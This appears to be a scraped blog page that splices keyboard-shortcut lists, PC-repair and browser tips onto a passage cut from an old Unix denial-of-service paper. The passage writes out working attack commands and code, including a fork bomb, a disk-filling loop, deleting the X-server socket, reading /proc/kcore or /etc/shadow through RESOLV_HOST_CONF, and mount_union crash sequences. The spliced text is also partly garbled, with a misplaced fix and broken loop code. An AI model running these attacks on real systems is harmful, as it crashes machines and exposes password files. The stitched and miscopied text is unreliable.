Secret Code In Computer Keyboard

Maybe you never ask - questions, any key combination on the computer keyboard ...??? Actually on a computer keyboard key combination helps us accelerate our work preformance in typing or any other. Without talking again Immediately, I love to know your computer keyboard key combination.

PRINT SCREEN: Allows you to capture whatever is on screen computer monitor anda.
ALT + PRINT SCREEN: useful for photographing (capture) the last active window on your computer screen and save it to Clipboard.
CTRL + C: Useful for Copy items already at the click (File) or in blocks (in Microsoft Word).
CTRL + X: Allows you to move item.
CTRL + V: Useful to print or paste the item after the copy.
CTRL + Z: Allows you to cancel or return to the original.
DELETE: Allows you to delete the item and move it to the Recycle Bin. (This will be different when we use it in the Folder flash).
SHIFT + DELETE: Allows you to delete the selected item permanently without placing the item into the Recycle Bin.
CTRL when dragging items: Allows you to copy the selected item.
F2 Key: Allows you to change the name of the selected item.
CTRL + SHIFT with every direction of the arrow: Allows you to select or block text.
SHIFT with any direction of the arrow: Allows you to select more than one item in the window or desktop, or the selected text in documents.
CTRL + A: Allows you to select all.
F3: Useful to search for files or folders.
ALT + ENTER: Allows you to view the properties of the selected item.
ALT + F4: Allows you to close the active item, or exit the active program.
ALT + SPACEBAR: Allows you to open the shortcut menu of the active window.
ALT + TAB: Useful for pindahke other light items.
Windows Logo: Useful to show or hide the Start Menu.
Windows Logo + BREAK: Allows you to display the System Properties.
Windows Logo + D: Useful to show the desktop.
Windows Logo + M: Useful to meminimized windows.
Windows Logo + SHIFT + M: Enables you to restore minimized windows.
Windows Logo + E: Allows you to open My Computer.
Windows Logo + L: Enables you to lock the keyboard.
Windows Logo + R: Allows you to open the run.
Windows Logo + U: Allows you to open the Utility Manager.

Many short cut are available on microsoft website so kindly go there and use that code . in this article i gave u the only useful secret code of daily life

Fix Your Computer Yourself - 5 Secrets That Computer Repair Shops Don't Want You to Know

Before You Call the Pros...Read this...!

Just ten years ago it was unusual for individuals to own more than one computer. Now it is almost commonplace for each of the members of the household to have their own computer and workstation. Employees are increasingly bringing home work and kids are increasingly becoming more and more reliant on the Internet for school work and establishing their social independence. What has not changed is the need to maintain those computers, to keep them running right and the cost associated with doing so. I personally have several computers in my home. I have desktops, laptops, the kids have their own computers and I am forever fielding questions from others on how to maintain their own stock of technical gadgets. I get these calls because of the outrageous prices that the chain stores charge to do even the simplest of tasks.

I would like to discuss the five most common computer related woes and what you can do, yourself, to prevent and repair these issues. If you can use a screwdriver...you can do this!

1. Adware, Malware and Viruses!
2. Outdated Hardware
3. Keeping your PC clean and cool!
4. My Computer is SLOW!
5. Restoring Your Original Operating System


1. Adware, Malware and Viruses!

Most of us who own computers are very aware of the threat that viruses pose to a computer. We have all seen the Hollywood movies where someone sneaks in and sticks a disk into a drive...and...WHAM...the whole computer system is down! Well, although in extreme cases this is possible, computer viruses are not the threat that everyone makes them out to be. Viruses are bits of code that are downloaded secretly to your computer and 99% of the time are designed to disable your computer. Most viruses are written by over-amped cyber bullies that are trying to make a name for themselves within the viral community. Viruses ARE a very real threat to home computers, but most viruses need to be let into your computer in order to do any harm. This is where responsible web surfing comes into play. If you like to hang out at web sites that promise free software or music downloads or pornography, then guess what...you are most likely keeping the company of some unsavory tech types. Your chances of downloading something other than what was intended is extremely high! I know from experience! In the days of downloading music, there was more than one time when I downloaded something other than the new cool CD I was looking for. After having to rebuild my computer several times and losing a lot of files, I decided that buying the CD would be more cost effective. Luckily, there are very dedicated people and companies in the world that do nothing else but track new viral threats. Any one of the big name viral scanners works very well in stopping the viruses from ever entering your computer. There are also several very highly recommended free viral programs out there too! I personally run the free stuff. Having to purchase the viral software and the licenses for every computer in my house...every year... is a sobering cost! I have very little trouble with viruses anymore. I also surf with caution!

Adware and Malware are on the other spectrum of malicious threats today. Nothing against the "Big Guys", but from my experience they do viral protection very well but seem to fall a bit short when it comes to Adware and Malware. Adware is named because of its advertising nature. These were commonly known as "pop-ups" some time ago, but have recently evolved into something a bit more sinister. It used to be that only "bad guys" used pop-ups. People wanted you to visit their site and knew that forcing a window in front of what you wanted to see would force you to click on it (at the very least to try to get rid of it). Clicking on the little "X" in the corner of the window used to close the attack. The spammers got wise to this and made it so no matter where you clicked on their window it would bring you to their advertising. Once you are in their domain you will most likely be hit with something far worse. To combat these types of issues, usually hitting the keys "CTL-ALT-DEL" and opening the task manager will present the offending window. Closing the process from the Task Manager appears to get rid of the window without causing further damage. I'm sure this will eventually cease to fix the issue as the Adware becomes more and more sophisticated.

Due to the advertising nature of these types of affronts, it is also important to point out that many legitimate companies have opted to use Adware to boost their sales. Whether this is a sound advertising solution or not, it is a fine art to try to discern between which Adware is trying to "get" you and which ones are just trying to sell you more stuff. Once again, there are several freeware programs that do a mighty fine job at stopping Adware from spreading on your computer.

Lastly, on this topic is Malware. Malware is Adware's evil cousin! Malware is mostly advertising related as well. This type of threat tends to go after more personal information. Malware can range anywhere from tracking your buying habits so that companies can send you catalogs to running in the background of your computer as a hidden process and collecting sensitive personal information, such as passwords or banking information. Malware is once again associated with the more unsavory web sites but has been known to frequently turn up in very trusted areas. As I mentioned, the Malware likes to download itself to your computer and run undetected. As you may be aware, your computer will normally become slower to respond the more items you are running at one time. Malware is a leading cause of PCs running slowly. Getting a good malware cleaner will help significantly to keep your PC running like it did the first day you set it up.

2. Outdated Hardware

The system requirements for programs and video games seem to double every year. It was not uncommon ten years ago to purchase a new computer with 256mb of RAM and one processor. Today, if you do not have at least two processors and 4GB (4000mb) of RAM you are seriously behind the times! Computers today also have very few replaceable parts. Most components are integrated onto the motherboard itself. This means that upgrades to your typical desktop computer will be confined to increased RAM, a better disk drive or possibly a sound card. The good news is, replacing or installing these items is relatively inexpensive and easy to do. The bad news is, you will only be able to upgrade that old computer up to a point.

Computers that are still running Windows 2000, ME, and XP will generally only have one slot for a processor (aka chipset, chip, proc, CPU). Although you can purchase aftermarket CPUs and replace them with medium difficulty, you must be very careful to purchase a chipset that will work within the specifications of your motherboard (MOBO). It is generally not recommended to replace your CPU, What can be accomplished with minimal skills is to upgrade your RAM.

RAM (Random Access Memory) is similar to your short term memory. This is memory that is used to process calculations and run the programs on your computer. Combined with the speed of your processor and the amount of RAM you have installed, dictates how quickly your computer will respond to tasks that you ask of it. While the process of opening up your computer and finding the slots to put the RAM is very simple, you should refer to any one of the hundreds of thousands of how-to tutorials on this before attempting. Computer manufacturers like to vary the type and speed of RAM that a computer will use. You MUST purchase RAM that is specifically designed to fit into your computer. Once again, there are several resources on the Internet to help with that. Beware of purchasing cheap RAM or used RAM! You DO get what you pay for when it comes to RAM. The maximum amount of RAM that your system will accommodate will vary. The PC manufacturer's website will give you this information. Another important thing to note is the amount of RAM slots your PC has.

If your PC is running (2) 256mb sticks of RAM and only has two slots, you will not want to buy two more sticks of 256mb RAM thinking that you will be able to double your RAM capacity. In this case, you will want to purchase two more sticks of RAM that will equal the total amount of memory you would like to upgrade to and then replace the existing RAM with the newly purchased hardware. If your PC has more than two RAM slots and you are not using all of them, you have several other options for a RAM upgrade. Just remember not to mix and match RAM types. Often times a computer will be able to use more than one type of RAM and you must make sure that all of the sticks are the same speed.

You can also replace your existing CD ROM with one that will burn CDs or DVDs. Please refer to any number of online sources to perform this procedure. It is very easy to do and most times, on newer PCs, does not even require the use of tools. 99% of all disk drives are a standard size. If you are swapping one drive for a newer one you will not need to be concerned with the maximum wattage that your power supply will handle (the power supply is the internal device that plugs into the wall and regulates voltage for the parts inside of the computer). If you decide to add and extra internal disk drive (if your PC has the expansion slot provided) or you wish to add an external drive to your system, you may want to consider the total number of watts that will be drawn by the computer while using these devices and confirm that the power supply in your computer can handle the load. Most desktop PC power supplys are in the 250-300 watt range. Most computers that allow for extra disk drives are upwards of 300 watts. Consult manufacturer specs for details.

Adding a sound card or graphics card is a bit tricky. The actual installation is quite simple, it is the compatibility with your system and the intended outcome you must consider. Most off the shelf PCs come with an integrated sound card and graphics chip. These are normally marginal in performance. If you have the need for an upgraded graphics capability for gaming or video display, a new graphics card will do wonders. Once again, you have to purchase a card that was specifically built for your computer. There are several types of slots that cards will slide into and you must purchase the correct form factor. You must also take into account your power supply limits. Every new device that you plug into your computer will share in the available wattage from your power supply. I once tried to get fancy with glowing cooling fans all over inside my old Gateway tower. It looked really cool for about a day untill the power supply consumed itself in a fiery blast!

3. Keeping your PC clean and cool!

Ever think what would happen if you covered up the radiator in your car and decided to drive several hundred miles on a hot summer day? Of course not! The same things holds true for your PC. There are fans and vents on your PC for a very specific reason. Blocking the inlet and outlet flows will increase the temperature of the components of your computer. Most PCs are equipped will a temperature kill-switch that will shutdown your PC before it bursts into flames, but will still not prevent damage being done if overheating continues. One of the most common reasons I see for computers overheating is excessive dust being trapped inside of the PC. No matter how clean your environment is, the computer is sucking in dust filled air through its intricate components and blowing it out the back side many, many hours at a time. Frequent cleaning of the dust inside the computer will allow fans and cooling fins to operate as they were intended. A can of air or an air compressor set to under 90PSI does the trick nicely. Remember to open up you computer case to blow out the dust (and UNPLUG it and TAKE IT OUTSIDE!) Remember to blow air into the vents on the power supply. Also remember not to excessively spray small components or fans; doing so may break off parts, cause them to come unsoldered or even burn out the tiny bearings in the fans. One important note on smoking around your computer. Some years ago, there was rumor that smoking near your computer could cause it to short out. This is false. What does happen is the smoke is pulled into the ventilation system of the PC and the nicotine adheres to every surface inside creating a sticky layer of tar. After adding household dust bunnies to the mix you have virtually succeeded in "tar and feathering' your computer. No judgement being made on your choice to smoke, it will however ruin your computer.

4. My Computer is SLOW!

We have already discussed reasons why your computer may be slow due to Malware (Spyware) or Adware. Another thing you can do to help your computer is to lighten its load. Almost all programs that you install place a small icon in the bottom right hand of your screen. This is known as the "Start-up Tray". These icons represent programs that are running and start up automatically when you boot up your PC. Most times, 75% of these items do not need to be running or start up on boot. Take for example iTunes. If you want to use iTunes you can double-click the icon on your desktop and iTunes will open. You can plug in you Apple device and iTunes will open. You do not need to wait the extra time and put the extra strain on your computer at startup waiting for iTunes to open in the the Start up Tray. There are many other programs like this that are probably in your tray right now. Fixing this is very simple. Investigate the "msconfig" command and the actions you need to take to change the way items behave on startup. You will be amazed how much faster your PC will boot up.

Upgrading to an increased amount of RAM will speed up your PC. Keep in mind that this is not a super-fixall solution. You must consider the speed of your processor and whether your computer has other issues that is slowing it down. Beware of anyone that tells you that just installing more RAM will fix your problems. They are most likely looking to sell you RAM or trying to get rid of you quickly (or have no idea what they are talking about).

Defragging your hard drive. Hmmm...well remember how I made the comparison between RAM being short term memory? Well your hard drive would be the equivalent of your long term memory. As each bit of information is processed in your computer, the stuff that you want your computer to remember the next time you turn it on must be recorded on the platter of the hard drive. The hard drive is very similar to a record. There is a shiny platter that looks very similar to a CD that resides inside of an outer case. There is a very tiny little "needle" (magnetic head) that records all of the information you type into your computer. The head jumps around from place to place fitting in data where there is room on the platter. Likewise, when you erase something, the head travels to the spot where the information was stored and deletes it from memory leaving a blank space for more data to be written. As a side-note, this is how data can be recovered even after you think it has been deleted. The data is not truly deleted until new data has been written over the top of it. "Defragging" or defragmeting your system's hard drive allows the computer to move around the data on the platter and put it where it is most convenient for retrieval. Instead of having to jump around to several different spots to retrieve the data for a document, the head now only needs to go to one location. Sounds like a wonderful way to speed up your computer...right? Well, yes and no. Back in the day when hard drives were significantly smaller (like smaller than the memory in the phone you are carrying around), rearranging the space on the hard drive made a significantly larger impact. For example, if you had 10 square feet of junk in a 12 square foot shed, cleaning it out would make a great difference. If you had the same 10 square feet of junk inside of a 1200 square foot shed, not so much. Not to mention the stress that is put on the hard drive during the reorganization process of defragmentation. Defragging your hard drive all the time is probably worse for your system than leaving it alone. Defragging should be done 2-3 times a year.

Registry cleaners. The registry can be likened to the connections that your brain cells have to one another. The registry tells the computer how everything is to look and work. It's the computer stuff that happens when you press a button in an application or from your operating system. Registry cleaners were designed to clear out all of the old or unused connections or instruction left by past commands or applications. While using a registry cleaner could improve PC performance, it is a lot like giving yourself a lobotomy to get rid of the memory of your last girlfriend. Use extreme caution when using registry cleaners. Always make a backup of your registry before using one. That way if you scramble your computer's brain, at least you have the option of returning it back to the way it was.

5. Restoring Your Original Operating System

Ah yes...when all else fails...when your registry is mush and you no longer can open the Internet without ads for "special drugs" appearing, you decide that you just want to put the computer back the way it was when you bought it. Well, you just said a mouthful! Although this is a very doable task for anyone, like all other things computer...there are several precautions you must first consider. First, and foremost, do you have data on your computer that you want to save?

Most people I know have transferred over to digital photography and digital music. The sum of this data could be quite large. In order to transfer your data you will need to have someplace to move it to. The cost of flash drives and external hard drives have come down significantly in the past few years. Depending on the amount of data you want to keep, there are several budget friendly solutions to obtaining extra space. Next, you must transfer the data. Most times it is a matter of copying files from one location and then pasting them onto your external space. Remember, not all data will be transferable. Your programs, games, printers, scanners, etc. will not just "copy" over. These items will need to be reinstalled after you have completed the reinstall of your operating system. You must also consider whether you have the software available to reinstall those programs. Many people are not real careful when it comes to keeping track of a printer install disk after the printer is installed and working. This goes for many applications as well. It is best to try to make a list of all programs you use on your computer before wiping the memory.

Most people also fail to remember their Internet Favorites folder. You have spent years bookmarking many of your favorite web pages. All of this information will be gone if you do not also transfer the contents of your Favorites folder. Lastly, do you have your operating system disks?

All computers if purchased legitimately will have a Certificate of Authenticity with the CD Key for the operating system that was purchased with the computer. 99% of all computers are sold with an operating system and should have this vital information. This key is found on a small label somewhere on the case of your PC. This is also a good time to point out that if you buy a computer second-hand, make sure that the computer you buy has this certificate. You will be out of luck and will have to spend several hundreds of dollars to purchase an operating system if you choose to wipe your computer without the key. It is also important to point out that the CD Key for the OS (operating System) will only work for the version of OS for which it was intended for. An example, you have a PC running Windows XP...is it XP Pro or XP Home? The XP home CD key will not work if you try to install a copy of XP Pro. Windows Vista and Windows 7 offer a larger variety of OS options and making sure you have the right one can get tricky.

What happens if I no longer have the disk to restore the OS? Well...you don't actually need the exact disk that came with the computer to complete your task. Contrary to popular belief, it is not illegal to download a copy of an OS from the Internet. What is illegal is installing a copy of the OS and trying to use it without the proper CD key. Installing your OS from a "generic" disk has its down side. The original disk that came with your PC had all of the necessary hardware drivers that would run your sound and graphics and Internet connection. If you choose to use the generic disk to restore with, you are responsible for obtaining the correct drivers from the Internet and installing them onto your computer. This is where having more than one computer in the house comes in handy!

What happens if my computer will not start up and I have data I need to get off of it? Well, once again...there are certain things that must be considered. Does the drive still power up and spin? Most times it does. If this is the case. there are inexpensive devices that will connect the hard drive from your broken PC to a PC that works and uses the "bad" disk in much the same manner as a flash drive. Most times, it is only the files to boot the OS that are bad and the drive and the data is still recoverable. If your drive does not power up or makes awful sounds when it is on, then I am afraid you are out of luck...that is unless you are one of the smart ones that made back up copies of your valuable data. ALWAYS MAKE A BACKUP! Like I mentioned, external drives are coming down in price everyday. For items that I am particularly fond of I make two copies, and store one in a fire safe.

That concludes my two-cents on how to keep your PC in tip-top shape without having to pay through the nose to have the teenager down the street do it! I hope you have found this information useful!

Top 10 Internet tips and tricks

You don't need the http:// portion of a web page

When typing an Internet address you do not need to type http:// or even www. in the address. For example, if you wanted to visit AiACAT you could just type aiacat.blogspot.com and press enter. To make things even quicker, if you're visiting a .com address you can type aiacat and then press Ctrl + Enter to type out the full http://aiacat.blogspot.com/ address.

Quickly move between the fields of a web page

If you're filling out an online form, e-mail, or other text field you can quickly move between each of the fields by pressing the Tab key or Shift + Tab to move back a field. For example, if you're filling out your name and the next field is your e-mail address you can press the Tab key to switch to the e-mail field.

Tip: This tip also applies to the buttons, if you press tab and the web developer has designed correctly the button should be selected and will allow you to press the space bar or enter to push the button.

Tip: If you have a drop-down box that lists every country or every state you can click that box and then press the letter of the state or country you're looking for. For example, is a drop-down box of States in the United States you could press u on the keyboard to quickly scroll to Utah.

Use Internet search engines to their full potential

Make sure to get the most out of every search result. If you're not finding what you want try surrounding the text in quotes. For example, if you were searching for 'computer help' this actually searches for pages that contain both computer and help and not necessarily pages that have computer and help next to each other. If you search for "computer help" with the quotes around the search query this will only return pages that actually have computer and help next to each other.

Tip: Many new computer users also don't realize that in every search box you can press enter instead of having to move the mouse button over to the Search button.

There are dozens of different shortcut keys that can be used with Internet browsers. Below are a few of our top suggested Internet browser shortcuts.

- Pressing Alt + D in any major Internet browser will move the cursor into the address bar. This is a great way to quickly enter an Internet address without having to click the mouse cursor in the address bar.
- Hold down the Ctrl key and press the + or - to increase and decrease the size of text.
- Press the backspace key or hold down the Alt key + left arrow to go back a page.
- Press F5 to refresh or reload a web page.
- Press F11 to make the Internet browser screen full screen. Press F11 again to return back to the normal view.
- Press Ctrl + B to open your Internet bookmarks.
- Press Ctrl + F to open the find box in the browser to search for text within the web page you're looking at.

Take advantage of tabbed browsing

Take full advantage of tabbed browsing in all Internet browsers today. While reading any web page if you come across a link you may be interested in open that link in a new tab so it can be viewed later. A new tab can be opened by holding down the Ctrl key and clicking the link or if you have a mouse with a wheel click the link with the middle mouse button.

Try alternative browsers

Most computer users use the default browser that comes included with the computer, with Microsoft Windows this is Internet Explorer. There are several great alternative browsers that are all free to download and use and may have features your current browser does not include. Below are a few of our favorites, try one or try them all.

Google Chrome
Mozilla Firefox
Opera

Install plugins and add-ons

Each of the above alternative browsers also have a large community of volunteers who develop add-ons and plugins that can be added into the browser. Each of these browsers have hundreds of thousands of these add-ons that can do such things as giving you live weather in your browser window, changing its color, and adding additional functionality.

Make sure your browser and its plugins are up-to-date

Each Internet browser can have several additional plugins that give it additional functionality. For example, Adobe Flash is a great way to bring movies and other animated content to the Internet. Keeping these plugins up-to-date is vital for your computer stability and also security. Using the below tool you can quickly verify if your plugins are up-to-date and get links to where to download the latest updates.

Use online services

There are hundreds of free online services that can help make using your computer easier, more productive, and more enjoyable. See our top 10 online services for a listing of our favorites.

Top 10 unknown Google tricks

Below is a list of our top ten Google tricks many people who use Google don't know about.

Definitions

Pull up the definition of the word by typing define followed by the word you want the definition for. For example, typing: define bravura would display the definition of that word.

Local search

Visit Google Local enter the area you want to search and the keyword of the place you want to find. For example, typing: restaurant at the above link would display local restaurants.

Phone number lookup

Enter a full phone number with area code to display the name and address associated with that phone number.

Find weather and movies

Type "weather" or "movies" followed by a zip code or city and state to display current weather conditions or movie theaters in your area. For example, typing weather 84101 gives you the current weather conditions for Salt Lake City, UT and the next four days. Typing movies 84101 would give you a link for show times for movies in that area.

Track airline flight and packages

Enter the airline and flight number to display the status of an airline flight and it's arrival time. For example, type: delta 123 to display this flight information if available.

Google can also give a direct link to package tracking information if you enter a UPS, FedEx or USPS tracking number.

Translate

Translate text, a full web page, or search by using the Google Language Tools.

Pages linked to you

See what other web pages are linking to your website or blog by typing link: followed by your URL. For example, typing link : http://aiacat.blogspot.com displays all pages linking to All information about Computer and technology.

Find PDF results only

Add fileType: to your search to display results that only match a certain file type. For example, if you wanted to display PDF results only type: "dell xps" fileType:pdf -- this is a great way to find online manuals.

Calculator

Use the Google Search engine as a calculator by typing a math problem in the search. For example, typing: 100 + 200 would display results as 300.

Stocks

Quickly get to a stock quote price, chart, and related links by typing the stock symbol in Google. For example, typing: msft will display the stock information for Microsoft.

Computer application buying tips

Introduction

Purchasing a software application or program can be a big consideration, especially when purchasing advanced and usually expensive programs such as Microsoft Office or Adobe Photoshop. When considering purchasing these programs it is important that you or your staff be familiar with the program and are sure it's going to be capable of what you need it to do.

On this page we've listed several different considerations to think about before buying a computer software application

Considerations

Competition

Before buying any application make sure there is not a competing program that may be cheaper or even free. If available and something that's capable of doing what you want it to do this could save you hundreds of dollars.

A good example of such a program is OpenOffice and Corel WordPerfect that would be a competitor to Microsoft Word. Both programs are an excellent choice for a word processor but can be a considerable price difference. In the case of OpenOffice, it's 100% free.

Documentation

Make sure proper documentation is included. Many programs today will include on-line documentation that is more than sufficient. However, it is also useful to obtain a manual or user guide for the software program or application.

Licenses

If you are a company who plans on having software programs used by its employees (more than one person), you will need to consider licensing options. It is required that for each computer a product is installed onto that it have a software license. If a company purchases the program and shares it with all its employees without the proper licensing, this would be illegal and can cause your company to face a criminal lawsuit.

Price

Look at your overall price and shop around. Because a software price can change often, you can sometimes save hundreds of dollars on expensive software. If possible, do not purchase directly through the company; many times, the company's price doubles a retailers price.

Be cautious of OEM software. Many resellers will sell a program as OEM, which requires you buy a computer or motherboard. OEM software is software that is included with large manufacturers' computers and will only include either just a CD or a slim manual and CD. This is not what you would find at a retail store. This option is not a bad option, it is only important that you are aware of what you are getting.

Package

Look at the overall software package. How many CDs or diskettes are included, what inserts and documentation is included, and is there any bonus or extra software included?

Media

Today, the majority of software is included on CDs and DVDs. When looking at a program, make sure you have an acceptable drive that's able to read the media, While not common today, an example of why this is important is it's better to receive one CD instead of 32 floppy diskettes.

An Introduction to Denial of Service

.D. ATTACKING FROM THE INSIDE ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

.D.1. KERNEL PANIC UNDER SOLARIS 2.3 ------------------------------------

Solaris 2.3 will get a kernel panic if this is executed:

EX: $ndd /dev/udp udp_status

The solution is to install the proper patch.

.D.2. CRASHING THE X-SERVER ---------------------------

If stickybit is not set in /tmp then can the file /tmp/.x11-unix/x0 be removed and the x-server will crash.

Ex:

 $ rm /tmp/.x11-unix/x0

.D.3. FILLING UP THE HARD DISK -----------------------------

If your hard disk space is not limited by a quota or if you can use /tmp then it`s possible for you to fill up the file system.

Ex:

 while : ; mkdir .xxx cd .xxx done

.D.4. MALICIOUS USE OF eval ---------------------------

Some older systems will crash if eval '\!\!' is executed in the C-shell.

Ex: % eval '\!\!' .D.5. MALICIOUS USE OF fork() -----------------------------

If someone executes this C++ program the result will result in a crash on most systems.

Ex: #include <sys/types.h> #include <unistd.h> #include <iostream.h> main() { int x; while(x=0;x<1000000;x++) { system("uptime"); fork(); } }

You can use any command you want, but uptime is nice because it shows the workload.

To get a bigger and very ugly attack you should however replace uptime (or fork them both) with sync. This is very bad.

If you are real mean you could also fork a child process for every child process and we will get an exponential increase of workload.

There is no good way to stop this attack and similar attacks. A solution could be to place a limit on time of execution and size of processes.

.D.6. CREATING FILES THAT IS HARD TO REMOVE -------------------------------------------

Well all files can be removed, but here is some ideas:

Ex.I.

 $ cat > -xxx ^C $ ls -xxx $ rm -xxx rm: illegal option -- x rm: illegal option -- x rm: illegal option -- x usage: rm [-fiRr] file ... $

Ex.II.

 $ touch xxx! $ rm xxx! rm: remove xxx! (yes/no)? y $ touch xxxxxxxxx! $ rm xxxxxxxxx! bash: !": event not found $

 (You see the size do count!)

Other well know methods is files with odd characters or spaces in the name.

These methods could be used in combination with ".D.3 FILLING UP THE HARDDISK". If you do want to remove these files you must use some sort of script or a graphical interface like OpenWindow:s File Manager. You can also try to use: rm ./<filename>. It should work for the first example if you have a shell.

.D.7. DIRECTORY NAME LOOKUPCACHE --------------------------------

Directory name lookupcache (DNLC) is used whenever a file is opened. DNLC associates the name of the file to a vnode. But DNLC can only operate on files with names that has less than N characters (for SunOS 4.x up to 14 character, for Solaris 2.x up 30 characters). This means that it's dead easy to launch a pretty discreet denial of service attack.

Create lets say 20 directories (for a start) and put 10 empty files in every directory. Let every name have over 30 characters and execute a script that makes a lot of ls -al on the directories.

If the impact is not big enough you should create more files or launch more processes. .D.8. CSH ATTACK ----------------

Just start this under /bin/csh (after proper modification) and the load level will get very high (that is 100% of the cpu time) in a very short time.

Ex:

 |I /bin/csh nodename : **************b

.D.9. CREATING FILES IN /tmp ----------------------------

Many programs creates files in /tmp, but are unable to deal with the problem if the file already exist. In some cases this could be used for a denial of service attack.

.D.10. USING RESOLV_HOST_CONF -----------------------------

Some systems have a little security hole in the way they use the RESOLV_HOST_CONF variable. That is we can put things in it and through ping access confidential data like /etc/shadow or crash the system. Most systems will crash if /proc/kcore is read in the variable and access through ping.

Ex: $ export RESOLV_HOST_CONF="/proc/kcore" ; ping asdf

.D.11. SUN 4.X AND BACKGROUND JOBS ----------------------------------

Thanks to Mr David Honig <honig@amada.net> for the following:

" Put the string "a&" in a file called "a" and perform "chmod +x a". Running "a" will quickly disable a Sun 4.x machine, even disallowing (counter to specs) root login as the kernel process table fills."

" The cute thing is the size of the script, and how few keystrokes it takes to bring down a Sun as a regular user."

.D.12. CRASHING DG/UX WITH ULIMIT ---------------------------------

ulimit is used to set a limit on the system resources available to the shell. If ulimit 0 is called before /etc/passwd, under DG/UX, will the passwd file be set to zero.

.D.13. NETTUNE AND HP-UX ------------------------

/usr/contrib/bin/nettune is SETUID root on HP-UX meaning that any user can reset all ICMP, IP and TCP kernel parameters, for example the following parameters:

- arp_killcomplete
- arp_killincomplete
- arp_unicast
- arp_rebroadcast
- icmp_mask_agent
- ip_defaultttl
- ip_forwarding
- ip_intrqmax
- pmtu_defaulttime
- tcp_localsubnets
- tcp_receive
- tcp_send
- tcp_defaultttl
- tcp_keepstart
- tcp_keepfreq
- tcp_keepstop
- tcp_maxretrans
- tcp_urgent_data_ptr
- udp_cksum
- udp_defaultttl
- udp_newbcastenable
- udp_pmtu
- tcp_pmtu
- tcp_random_seq

The solution could be to set the proper permission on /sbin/mount_union:

#chmod u-s /sbin/mount_union

.D.14. SOLARIS 2.X AND NFS --------------------------

If a process is writing over NFS and the user goes over the disk quota will the process go into an infinite loop.

.D.15. SYSTEM STABILITY COMPROMISE VIA MOUNT_UNION --------------------------------------------------

By executing a sequence of mount_union commands any user can cause a system reload on all FreeBSD version 2.X before 1996-05-18.

$ mkdir a $ mkdir b $ mount_union ~/a ~/b $ mount_union -b ~/a ~/b

The solution could be to set the proper permission on /sbin/mount_union:

#chmod u-s /sbin/mount_union

.D.16. trap_mon CAUSES KERNEL PANIC UNDER SUNOS 4.1.X ----------------------------------------------------

Executing the trap_mon instruction from user mode can cause a kernel panic or a window underflow watchdog reset under SunOS 4.1.x, sun4c architecture.

.E. DUMPING CORE ~~~~~~~~~~~~~~~~

.E.1. SHORT COMMENT -------------------

The core dumps things don't really belongs in this paper but I have put them here anyway.

.E.2. MALICIOUS USE OF NETSCAPE -------------------------------

Under Netscape 1.1N this link will result in a segmentation fault and a core dump.

Ex:

 <a name="http://xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx. xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxxxxx.xxx.xxx. xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxxxxx.xxx.xxx.xxx.xxx.xxx. xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxxxxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx. xxx.xxx.xxx.xxx.xxxxxx.xxx.xxx.xxx.xxx.xxx...>

.E.3. CORE DUMPED UNDER WUFTPD ------------------------------

A core dumped could be created under wuftp with two different methods:

 (1) Then pasv is given (user not logged in (ftp -n)). Almost all versions of BSD:s ftpd. (2) More than 100 arguments is given with any executable command. Presents in all versions of BSD:sd ftpd.

.E.4. ld UNDER SOLARIS/X86 --------------------------

Under Solaris 2.4/X86 ld dumps core if given with the -s option.

.F. HOW DO I PROTECT A SYSTEM AGAINST DENIAL OF SERVICE ATTACKS? ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

.F.1. BASIC SECURITY PROTECTION -------------------------------

.F.1.1. INTRODUCTION --------------------

You can not make your system totally secured against denial of service attacks but for attacks from the outside you can do a lot. I put this work list together and hope that it can be of some use.

.F.1.2. SECURITY PATCHES ------------------------

Always install the proper security patches. As for patch numbers I don't want to put them out, but that doesn't matter because you anyway want to check that you have all security patches installed, so get a list and check! Also note that patches change over time and that a solution suggested in security bulletins (i.e. CERT) often is somewhat temporary.

.F.1.3. PORT SCANNING ---------------------

Check which services you have. Don't check with the manual or some configuration file, instead scan the ports with sprobe or some other port scanner. Actual you should do this regualy to see that anyone don't have installed a service that you don't want on the system (could for example be service used for a pirate site).

Disable every service that you don't need, could for example be rexd, fingerd, systat, netstat, rusersd, sprayd, pop3, uucpd, echo, chargen, tftp, exec, ufs, daytime, time... Any combination of echo, time, daytime and chargen is possible to get to loop. There is however no need to turn discard off. The discard service will just read a packet and discard it, so if you turn off it you will get more sensitive to denial of service and not the opposite.

Actual can services be found on many systems that can be used for denial of service and brute force hacking without any logging. For example Stock rexec never logs anything. Most popd:s also don't log anything

.F.1.4. CHECK THE OUTSIDE ATTACKS DESCRIBED IN THIS PAPER ---------------------------------------------------------

Check that attacks described in this paper and look at the solution. Some attacks you should perform yourself to see if they apply to your system, for example:

 - Freezing up X-Windows. - Malicious use of telnet. - How to disable services. - SunOS kernel panic. - Attacking with lynx clients. - Crashing systems with ping from Windows 95 machines. That is stress test your system with several services and look at the effect.

Note that Solaris 2.4 and later have a limit on the number of ICMP error messages (1 per 500 ms I think) that can cause problems then you test your system for some of the holes described in this paper. But you can easy solve this problem by executing this line:

$ /usr/sbin/ndd -set /dev/ip ip_icmp_err_interval 0 .F.1.5. CHECK THE INSIDE ATTACKS DESCRIBED IN THIS PAPER --------------------------------------------------------

Check the inside attacks, although it is always possibly to crash the system from the inside you don't want it to be to easy. Also have several of the attacks applications besides denial of service, for example:

 - Crashing the X-Server: If stickybit is not set in /tmp a number of attacks to gain access can be performed.

 - Using resolv_host_conf: Could be used to expose confidential data like /etc/shadow.

 - Core dumped under wuftpd: Could be used to extract password-strings.

If I don't have put out a solution I might have recommended son other paper. If not I don't know of a paper with a solution I feel that I can recommend. You should in these causes check with your company.

.F.1.6. EXTRA SECURITY SYSTEMS ------------------------------

Also think about if you should install some extra security systems. The basic that you always should install is a logdaemon and a wrapper. A firewall could also be very good, but expensive. Free tools that can be found on the Internet is for example:

TYPE: NAME: URL:

LOGDAEMON NETLOG ftp://net.tamu.edu/pub/security/TAMU WRAPPER TCP WRAPPERS ftp://cert.org/pub/tools/tcp_wrappers FIREWALL TIS ftp://ftp.tis.com/pub/firewalls/toolkit

